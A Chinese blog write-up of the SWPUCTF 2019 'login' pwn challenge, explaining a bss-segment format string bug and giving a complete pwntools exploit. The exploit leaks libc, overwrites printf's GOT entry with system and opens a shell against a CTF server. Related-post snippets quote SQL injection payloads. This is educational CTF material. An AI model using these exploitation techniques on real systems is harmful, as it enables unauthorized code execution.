【Pwn】SWPUCTF_2019_login

bss上格式化字符串处理【buuoj】SWPUCTF_2019_login 这道题用了两种方法去做,一种是修改got表,零一种是修改返回值控制执行流。 IDA分析 很明显的格式化字符串漏洞,但是是在bss段上 总结一下32位格式化字符串在bss段上的处理方法就是:寻找一个类似ebp的栈上寄存器,如下图 通过修改这个ebp,可以修改上图0xffc78f38的值为想要的(记住:格式化字符串修改栈上指针指向区域的地址,因此是0xffc78f38)如果想要劫持got表,寻找下面80开头的数据(和got表比较相关)修改完后就可以变成下图这样 (思考一下为什么要这么写:因为一般的格式化字符 阅读详情

例行查看程序保护。
在这里插入图片描述分析程序,最里面函数存在格式化字符串漏洞。但是格式化字符串不再栈上,而在bss段上,没办法直接任意地址读写,于是动态调试观察栈上数据。
在这里插入图片描述
观察到fff65158指向fff65168,fff65168指向fff65178。那么就可以修改fff65168的内容,然后再观察栈上还有什么有用数据,注意到fff65160和fff65164的值离got表很近,于是想到可以修改这两个地方的后两个字节,将其指向got表,然后进行got表内容覆盖来getshell。首先用格式化字符串漏洞将fff65168改为指向fff65160和fff65164。然后分别修改为printf的got地址0x804B014以及0x804B016,然后读到printf地址,计算libc地址,计算system地址,覆盖printf got表为system,然后就可以getshell了。

from pwn import *

io=remote('node3.buuoj.cn',25849)
io.sendline('ydh')

#得到栈地址
io.recvuntil('password:')
io.sendline('%6$p') #6->10  
io.recvuntil('wrong password: ')
change=(int(io.recvline()[2:],16)-4)&0xff
print(hex(change))
#将10指向9
pl1='%'+str(change)+'c'+'%6$hhn' #change 10->9
io.recvuntil('Try again!')
io.sendline(pl1)
#将9指向printf_got
pl2='%'+str(0x14)+'c'+'%10$hhn'   #9->printf_got
io.recvuntil('Try again!')
io.sendline(pl2)
#将10指向8
pl1='%'+str(change-4)+'c'+'%6$hhn' #change 10->8
io.recvuntil('Try again!')
io.sendline(pl1)
#将8指向printf_got+2
pl2='%'+str(0xb016)+'c'+'%10$hn'   #8->print_got+2
io.recvuntil('Try again!')
io.sendline(pl2)
#读取printf_address
io.recvuntil('Try again!')
io.sendline('%9$s')
io.recvuntil('wrong password: ')
print_add=u32(io.recv(4))
print(hex(print_add))
#计算system_address
libc_base=print_add-0x050b60
sys=libc_base+0x03cd10
print(hex(sys))
a=sys&0xffff
print(hex(a))
b=sys>>16
print(hex(b))
#将printf 覆盖为 system,getshell
pl3='%'+str(a)+'c'+'%9$hn'+'%'+str(b-a)+'c'+'%8$hn'
io.recvuntil('Try again!')
io.sendline(pl3)
io.sendline('/bin/sh')

io.interactive()

做题过程中尝试用过onegadget直接覆盖puts,但是失败了,原因未知(我太菜了)。

BUUCTF misc 专题(47)[SWPU2019]神奇的二维码 下载附件,得到一张二维码图片,并用工具扫描(因为图片违规了,所以就不放了哈。工具的话,一般的二维码扫描都可以) swpuctf{flag_is_not_here},(刚开始出了点小差错对不住各位师傅)根据提示知道答案并不在这里,拖入winhex进行查看 搜索出多个Rar,将文件放入kali进行binwalk 分离出了多个rar ,先查看txt文档中的内容YXNkZmdoamtsMTIzNDU2Nzg5MA== 进行base64解密:asdfghjkl1234567890 再看doc文... 阅读详情

相关推荐

NSSCTF-MISC [SWPU 2019]神奇的二维码

binwalk分离文件 解base编码 摩斯解码

wobushilijiatu的博客 548

BUUCTF之“SWPUCTF_2019_login”

格式化字符串在bss段上的情况:间接修改printf.got表为system,,, ebp对应的地址映射比较关键

Probeginner的博客 1319

利用wolcmd.exe批处理执行远程唤醒

代码如下: @echo off cls :check if exist wolcmd.exe goto targetmac echo 缺少wolcmd.exe echo. goto end :targetmac cls echo -------------------------------------------------------- echo 目标主机PC-01地址:40235678A...

Chriseo的博客 6948

SWPUCTF_2019_login

SWPUCTF_2019_login 查看保护 格式化字符串漏洞,但是s1和正常的栈上格式化不一样,这里是非栈上。 攻击思路:因为是非栈上,所以需要借助ebp这里的链子来实现将printf_got改为system_addr。 1.首先借助这个格式化漏洞拿到libc和ebp的地址。 2.接下来就是借助ebp这条链子将printf_got改到这个链子上,最后的结构为下图 用%6$hhn来修改%10$处的数据然后%10$hhn来修改%14$处的数据最后使得使得%14$处为printf的GOT表地址,同样的

z1r0的博客 820

GD32F103实战:用ADC+DMA实现高精度多通道电压采集与OLED实时显示(附完整工程)

本文详细介绍了如何利用GD32F103的ADC+DMA技术实现高精度多通道电压采集,并通过OLED实时显示数据。文章包含硬件架构设计、ADC配置技巧、DMA传输优化及显示系统实现方案,提供完整工程代码和调试指南,适用于工业传感器和环境监测设备开发。

weixin_42567497的博客 400

基于ESP32Cam摄像头+YOLOv3完成图像识别_355

本项目正是在此背景下提出,设计一个基于ESP32Cam摄像头的图像识别系统,通过WIFI热点通信实现图像数据的传输,并利用上位机(Windows与Android平台的QT APP)实时显示原始图像与识别结果,实现目标检测、识别与标注功能。

595

BUU_SWPUCTF_2019_login非栈上格式化字符串

对于栈上的格式化字符串可以通过直接将对应地址写入栈中,然后利用三链对任意写入地址修改,非栈上也就是不能直接写入,利用格式化字符串一样可以修改,只是要麻烦一点。

qq_70452545的博客 426

物联网与人工智能项目实战:构建智能农业监控系统

智能农业监控系统通过物联网技术实时监测农业环境中的各项数据(如土壤湿度、温度、光照强度等),并利用人工智能技术分析和预测农业生产的趋势,进而为农民提供决策支持。系统的核心目标是提高农作物的产量和品质,同时减少资源浪费,优化农田管理。环境监测:实时采集农田的温湿度、土壤湿度、光照等环境数据。作物生长监测:通过传感器和图像识别技术监测作物的生长状况。智能灌溉系统:根据土壤湿度和气候条件自动调整灌溉量。病虫害检测与预警:利用人工智能和图像识别技术自动检测作物病虫害,并及时给出预警。数据分析与决策支持。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 709

swpuctf2019 Login pwn详细题解

Login 这是swpuctf2019的第二道pwn题,主要考点就是非栈上的字符串格式化漏洞利用。 首先,我们检查一下程序的保护机制 PIE和RELRO没有开启,那么我们可以轻易的利用漏洞修改GOT表 我们用IDA分析一下 在这里,有一个明显的格式化字符串漏洞,由于s1不是在栈上,而是在bss段里,所以漏洞利用起来会比栈上的字符串格式化漏洞稍微繁琐一些。由于外层是一个死循环,所以...

seaaseesa的博客 1951

姿态传感器/陀螺仪之SC7A20HTR是应用驱动程序设计

define SC7A20_CTRL1_PM_100HZ (0x5 << 4) // 正常模式,100Hz输出数据速率(ODR)// 用于存储6字节的原始数据(X_L, X_H, Y_L, Y_H, Z_L, Z_H)#define SC7A20_WHO_AM_I_VALUE 0x11 // 读取WHO_AM_I寄存器应该返回的值。// 但HAL_I2C_Mem_Read按顺序读,data[0]是X_L(低8位),data[1]是X_H(高8位)MX_I2C1_Init();

corlin6688的博客 761

在YOLO中扩充新类别并且不影响旧类的识别精度

让我们先从简单的部分开始:用我们的新类训练自定义 YOLOv8 模型。在本教程中,我们将向模型添加车牌类。我们将使用Roboflow 中的一个数据集。这个数据集有两个车牌类。在开始训练之前,我们还必须对库进行一些更改。为了节省时间,我还将本教程中我们将进行的更改转换为补丁该补丁包含多项更改,但大多数更改都用于指南的下一部分。if RANK!= -1:是的,我们将编写一个回调。我们希望将此自定义训练模型的头部与 COCO 预训练模型中的旧头部一起使用。

如果想成为中心,那么就到中心去吧。 1225

BUU-SWPUCTF_2019_login

非栈上格式化字符串漏洞 具体原理:由于不在栈上,所以我们可控数据没法写到栈上,也就没有办法变成printf的某个参数 例(buu-SWPUCTF_2019_login) 检查保护,没pie,got可被修改 IDA查看程序,存在格式化字符串漏洞 思路:由于不存在栈溢出,且没有给libc,那么我们的思路就有限了,修改printf的got 问题分析: 首先这是一道32位的非栈上格式化字符串漏洞,那么与普通格式化字符串漏洞相比较有什么区别呢? 首先栈信息泄露是相同的,但是找偏移的话较为不

m0_46204503的博客 2345

Arduino与Proteus仿真实例-HG7881(L9110)驱动直流电机仿真

HG7881(L9110)驱动直流电机仿真 HG7881 (L9110) 双通道电机驱动器模块。 HG7881 (L9110) 是一款紧凑型电机驱动芯片,支持 2.5-12V 电压范围,800mA 连续电流。 这些芯片具有内置输出钳位二极管以保护敏感的微控制器电子设备。 它们适用于非常小的机器人项目。 每个 HG7881 (L9110) 芯片都能够使用两个数字控制输入驱动单个直流电机。 一个输入用于选择电机方向,而另一个用于控制电机速度。 速度是通过使用 PWM 脉冲宽度调制来控制的。 电机驱动器通常具有

视觉与物联智能 3050

[ZJCTF 2019]Login

exp from pwn import * context.log_level = 'debug' proc_name = './login' # p = process(proc_name) p = remote('node3.buuoj.cn', 29641) ...

、moddemod 1090

训练YOLOv11 | Pytorch和Pycharm的安装教程适用W11系统(附详细的系统变量添加过程)

根据你之前下载的版本选择对应的选项即可,然后复制底下的绿色代码到Anaconda的命令行输入即可(这里要在你安装的python环境里进行安装,例如我的环境名字是PyTorch,那么就是activate PyTorch里进行安装)然后同之前一样会加载一会,然后会询问我们是否下载配件,我们输入Y等待即可(下载过程中我们要确保网络通常如果有波动可能会下载失败)。类似于我的电脑是Windows11选择上面红框内的选项即可点击后即下载,(注意这里下载的是zip文件)下载完成后复制下面几个文件。

Snu77的博客 1万+

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

SWPUCTF2019web题复现

[SWPU2019]easy_web 有一个登录框,试了试万能密码失败,那就注册吧 登录后发现有一个申请广告,在标题处输入11111111’,发现报错,应该是sql注入 禁用了or,空格等等,先使用union发现有22列 -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 后面发现还可以用-1'/**/group/**/by/**/22,'1,一样可以爆出为22列 查看数据库:-1'

bmth666的博客 1905

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

[SWPU 2019]神奇的二维码

挨个查找发现18394压缩包中存在音频文件,使用刚刚解出来的密码显示密码错误。查看flag.doc,猜测应该是base64套娃加密,写个循环脚本得到flag。2.使用kali中的binwalk命令,将图片中的隐藏内容显示出来。将flag.jpg解压出来得到,并放入winhex进行分析。打开encode.txt文件,得到一串base64的密文。注意,这里的flag要交小写,大写交了半天呜呜呜QAQ。将得到的密码对压缩包进行解压,得到good.mp3。

weixin_52365980的博客 698

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

[ZJCTF 2019]Login--动态调试--详细版

全网最详细login的解析,包含静态和动态分析

weixin_41748164的博客 1023

BUUCTF [SWPU2019]神奇的二维码 1

BUUCTF [SWPU2019]神奇的二维码 1 尔斯电码,分组之间用空格填充,转换为“-- — .-. …- . .-. -.-- …- . .-. -.-- . .- …解压三个没有密码的压缩包,得到encode.txt、flag.doc、flag.jpg还有一个rar压缩包。3、先看encode.txt文件,打开发现是经过Base64加密的密文,使用在线工具解密,得到明文。放大后看到一串音频,有很多分组,分组内由粗的音块和细的音块组成,类似莫尔斯电码的“-”和“.”。下载附件,得到一个.png图片。

YueXuan_521的博客 4440

BUUCTF---[SWPU2019]神奇的二维码

6、一一打开压缩包,发现有个压缩包里面有个加密的音频,将解码出来的字符串作为密码,发现。11虽然还有一张flag的图片,但是用 下面密码解开后,就是一个普通的照片。2、拿去提交是错的(不会这么简单哈哈哈),常规操作在kali中分析。5、查看文档,里面有base64编码,我是手动拿去解码,最终解密为。1、下载附件是一张二维码,拿去扫描得到了flag。7、将音频用工具打开,发现它的频率很像摩斯密码。4、查看txt,发现里面有一串字符,解码后为。3、分离发现图片里面有东西。为密码,得到音频,开始分析。

2201_75556700的博客 1373

【BUUCTF】[SWPU2019]神奇的二维码

0x00  刚拿到这题的时候,还以为很简单的样子,结果发现才是一坑接一坑,套娃坑套娃。(出题人友好点儿吧,球球了>_<) 0x01  惯例下好文件,是个rar,打开发现是个“神奇的二维码”,直接扫描无果,拿到winhex下查看,发现好几个rar文件  分别手动复制粘贴到新文件,保存,共有四个rar,按照在文件里的位置先后顺序排列  1.rar打开是一行base64编码的字符串,解码后为  打开2.rar,里面还有一个需要密码的rar,用上面解码后的字符串尝试解密,成功后发现是个和2.rar

yoyoko_chan的博客 2226

(NSSCTF)[SWPU 2019]神奇的二维码wp

CTF新手,小采购,刚开始学着写wp,轻喷

2303_79610394的博客 768

[BUUCTF]PWN——[ZJCTF 2019]Login

[ZJCTF 2019]Login 附件 步骤: 例行检查,64位程序,开启了canary和nx保护 2. 试运行一下程序 3. 64位ida载入,检索字符串,在程序里找到了用户名admin和密码2jctf_pa5sw0rd 再次尝试登录,无果 在程序里找到了后门函数,backdoor=0x400e88 c++写的程序,看起来有点费劲,自己看了好久都找到漏洞在哪里,后来借鉴了其他师傅的wp后才发现了猫腻 问题出现在检查密码的那个函数上 反编译出来的伪代码看起来没什么问题 但是我们按下tab,

mcmuyanga的博客 2357

CTF-PWN-[ZJCTF 2019]Login 栈位置的转换跟踪

来源:https://buuoj.cn/challenges内容:附件:链接:https://pan.baidu.com/s/1uBEYYeg9ouPDEOah-BHGQA?pwd=6si8 提取码:6si8答案:PWN题为动态flag使用安装pwn解题框架发现是cpp的题目,在password_checker的第9行下断点到判断密码的位置,随后输入用户名admin,密码cylic(300)用于测试溢出点和调用点题目是比较密码是否等于,正确则跳转进入 发现此处的值是aaaa,则我们将密码设置为 +cylic

serfend's blog 1610

BUUCTF [ZJCTF 2019]Login

通过往前逆向观察汇编,发现被赋值成了var_130依然覆盖不了,继续跟进我们可以看到rdi最终赋值成了rax,跟进最近的一个函数:password_checker,查看rax被赋值成什么。理论上我们直接覆盖var_68成后门函数就可以拿到shell了,可是var_68在s上面,覆盖不到,那我们只能继续观察var_68中被rdi赋值的内容在哪里了。最终发现了rax最终被赋值成了在var_18的位置,终于找到了一个我们可以覆盖的一个位置了,我们只需要将var_18覆盖成后门函数就可以获得shell。

2401_85052854的博客 634
上一篇: 【Pwn】NCTF2019 easy_rop
下一篇: 【pwn】gwctf_2019_easy_pwn
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值